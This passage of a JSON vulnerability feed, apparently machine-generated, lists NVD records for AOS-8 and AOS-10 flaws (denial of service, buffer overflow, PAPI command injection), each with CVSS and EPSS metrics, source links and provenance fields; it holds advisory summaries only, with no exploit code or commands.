fixes.","publishedAt":"2026-10-22T19:18:02.303Z","updatedAt":"2026-10-26T14:18:54.933Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-79956","asOf":"2026-10-26T14:18:54.933Z"},"epss":{"probability":0.00704,"percentile":0.53049,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-79956&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-79956","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-79956","type":"primary","publishedAt":"2026-10-22T19:18:02.303Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-79956&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-79956, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-79955","cveId":"CVE-2026-79955","aliases":[],"kind":"vulnerability","title":"An unauthenticated memory corruption vulnerability exists in a service accessed via the PAPI protocol in AOS-8 that could allow an unauthenticated remote attacker to conduct a...","summary":"An unauthenticated memory corruption vulnerability exists in a service accessed via the PAPI protocol in AOS-8 that could allow an unauthenticated remote attacker to conduct a denial of service attack. Successful exploitation could allow an attacker to disrupt the availability of the affected service.","detail":"An unauthenticated memory corruption vulnerability exists in a service accessed via the PAPI protocol in AOS-8 that could allow an unauthenticated remote attacker to conduct a denial of service attack. Successful exploitation could allow an attacker to disrupt the availability of the affected service.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T19:18:02.200Z","updatedAt":"2026-10-26T14:18:54.933Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-79955","asOf":"2026-10-26T14:18:54.933Z"},"epss":{"probability":0.00535,"percentile":0.44851,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-79955&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-79955","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-79955","type":"primary","publishedAt":"2026-10-22T19:18:02.200Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-79955&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-79955, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-79895","cveId":"CVE-2026-79895","aliases":[],"kind":"vulnerability","title":"Vulnerabilities in the affected interface of AOS-10 could allow an unauthenticated remote attacker to conduct a denial of service attack.","summary":"Vulnerabilities in the affected interface of AOS-10 could allow an unauthenticated remote attacker to conduct a denial of service attack. Successful exploitation could allow an attacker to disrupt the availability of the affected interface.","detail":"Vulnerabilities in the affected interface of AOS-10 could allow an unauthenticated remote attacker to conduct a denial of service attack. Successful exploitation could allow an attacker to disrupt the availability of the affected interface.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T19:18:02.090Z","updatedAt":"2026-10-26T14:18:54.933Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-79895","asOf":"2026-10-26T14:18:54.933Z"},"epss":{"probability":0.00512,"percentile":0.43396,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-79895&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-79895","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-79895","type":"primary","publishedAt":"2026-10-22T19:18:02.090Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-79895&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-79895, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-79894","cveId":"CVE-2026-79894","aliases":[],"kind":"vulnerability","title":"An unauthenticated Denial-of-Service (DoS) vulnerability exists in the PAPI protocol of AOS-8.","summary":"An unauthenticated Denial-of-Service (DoS) vulnerability exists in the PAPI protocol of AOS-8. Successful exploitation of this vulnerability results in the ability to disrupt the availability of the affected interface.","detail":"An unauthenticated Denial-of-Service (DoS) vulnerability exists in the PAPI protocol of AOS-8. Successful exploitation of this vulnerability results in the ability to disrupt the availability of the affected interface.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T19:18:01.983Z","updatedAt":"2026-10-26T14:18:54.933Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-79894","asOf":"2026-10-26T14:18:54.933Z"},"epss":{"probability":0.00411,"percentile":0.35081,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-79894&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-79894","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-79894","type":"primary","publishedAt":"2026-10-22T19:18:01.983Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-79894&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-79894, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-79893","cveId":"CVE-2026-79893","aliases":[],"kind":"vulnerability","title":"Memory corruption vulnerabilities in AOS-10 could allow an unauthenticated remote attacker to conduct a denial of service attack.","summary":"Memory corruption vulnerabilities in AOS-10 could allow an unauthenticated remote attacker to conduct a denial of service attack. Successful exploitation could allow an attacker to disrupt the availability of the affected service.","detail":"Memory corruption vulnerabilities in AOS-10 could allow an unauthenticated remote attacker to conduct a denial of service attack. Successful exploitation could allow an attacker to disrupt the availability of the affected service.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T19:18:01.877Z","updatedAt":"2026-10-26T14:18:54.933Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-79893","asOf":"2026-10-26T14:18:54.933Z"},"epss":{"probability":0.00535,"percentile":0.44851,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-79893&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-79893","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-79893","type":"primary","publishedAt":"2026-10-22T19:18:01.877Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-79893&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-79893, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-79892","cveId":"CVE-2026-79892","aliases":[],"kind":"vulnerability","title":"A memory corruption vulnerability exists in AOS-8 that could allow an authenticated local attacker to execute arbitrary code.","summary":"A memory corruption vulnerability exists in AOS-8 that could allow an authenticated local attacker to execute arbitrary code. Successful exploitation could allow the attacker to execute arbitrary code as a privileged user on the underlying operating system.","detail":"A memory corruption vulnerability exists in AOS-8 that could allow an authenticated local attacker to execute arbitrary code. Successful exploitation could allow the attacker to execute arbitrary code as a privileged user on the underlying operating system.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T19:18:01.767Z","updatedAt":"2026-10-26T14:18:54.933Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-79892","asOf":"2026-10-26T14:18:54.933Z"},"epss":{"probability":0.00156,"percentile":0.04713,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-79892&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-79892","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-79892","type":"primary","publishedAt":"2026-10-22T19:18:01.767Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-79892&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-79892, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-79891","cveId":"CVE-2026-79891","aliases":[],"kind":"vulnerability","title":"A buffer overflow vulnerability exists in the command line interface of AOS-8 that could allow an unauthenticated remote attacker to run arbitrary commands on the underlying host...","summary":"A buffer overflow vulnerability exists in the command line interface of AOS-8 that could allow an unauthenticated remote attacker to run arbitrary commands on the underlying host if certain preconditions outside of the attacker's control are met. Successful exploitation could allow an attacker to execute arbitrary code as a privileged user on the underlying operating system leading to complete system compromise.","detail":"A buffer overflow vulnerability exists in the command line interface of AOS-8 that could allow an unauthenticated remote attacker to run arbitrary commands on the underlying host if certain preconditions outside of the attacker's control are met. Successful exploitation could allow an attacker to execute arbitrary code as a privileged user on the underlying operating system leading to complete system compromise.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T19:18:01.663Z","updatedAt":"2026-10-26T14:18:54.933Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-79891","asOf":"2026-10-26T14:18:54.933Z"},"epss":{"probability":0.00552,"percentile":0.4584,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-79891&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-79891","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-79891","type":"primary","publishedAt":"2026-10-22T19:18:01.663Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-79891&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-79891, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-79890","cveId":"CVE-2026-79890","aliases":[],"kind":"vulnerability","title":"There are command injection vulnerabilities in AOS-8 that could lead to unauthenticated remote code execution by sending specially crafted PAPI packets.","summary":"There are command injection vulnerabilities in AOS-8 that could lead to unauthenticated remote code execution by sending specially crafted PAPI packets. Successful exploitation of this vulnerability results in the ability to execute arbitrary code as a privileged user on the underlying operating system.","detail":"There are command injection vulnerabilities in AOS-8 that could lead to unauthenticated remote code execution by sending specially crafted PAPI packets. Successful exploitation of this vulnerability results in the ability to execute arbitrary code as a privileged user on the underlying operating system.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T19:18:01.557Z","updatedAt":"2026-10-26T14:18:54.933Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-79890","asOf":"2026-10-26T14:18:54.933Z"},"epss":{"probability":0.00961,"percentile":0.61353,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-79890&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-79890","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-79890","type":"primary","publishedAt":"2026-10-22T19:18:01.557Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-79890&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-79890, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-79889","cveId":"CVE-2026-79889","aliases":[],"kind":"vulnerability","title":"Vulnerabilities in multiple web interface endpoints of AOS-8 devices could allow an unauthenticated remote attacker to trigger a buffer overflow by using specially crafted...","summary":"Vulnerabilities in multiple web interface endpoints of AOS-8 devices could allow an unauthenticated remote attacker to trigger a buffer overflow by using specially crafted requests. Successful exploitation could allow an attacker to execute arbitrary commands on the underlying operating system, leading to complete system compromise.","detail":"Vulnerabilities in multiple web interface endpoints of AOS-8 devices could allow an unauthenticated remote attacker to trigger a buffer overflow by using specially crafted requests. Successful exploitation could allow an attacker to execute arbitrary commands on the underlying operating system, leading to complete system compromise.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T19:18:01.457Z","updatedAt":"2026-10-26T14:18:54.933Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-79889","asOf":"2026-10-26T14:18:54.933Z"},"epss":{"probability":0.00625,"percentile":0.49675,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-79889&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-79889","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-79889","type":"primary","publishedAt":"2026-10-22T19:18:01.457Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-79889&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-79889, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-79888","cveId":"CVE-2026-79888","aliases":[],"kind":"vulnerability","title":"A vulnerability in a certain web interface endpoint of AOS-8 devices could allow an unauthenticated remote attacker to trigger a buffer overflow.","summary":"A vulnerability in a certain web interface endpoint of AOS-8 devices could allow an unauthenticated remote attacker to trigger a buffer overflow. Successful exploitation could allow an attacker to execute arbitrary commands on the underlying operating system, leading to complete system compromise.","detail":"A vulnerability in a certain web interface endpoint of AOS-8 devices could allow an unauthenticated remote attacker to trigger a buffer overflow. Successful exploitation could allow an attacker to execute arbitrary commands on the underlying operating system, leading to complete system compromise.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T19:18:01.350Z","updatedAt":"2026-10-26T14:18:54.933Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-79888","asOf":"2026-10-26T14:18:54.933Z"},"epss":{"probability":0.00476,"percentile":0.40845,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-79888&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD 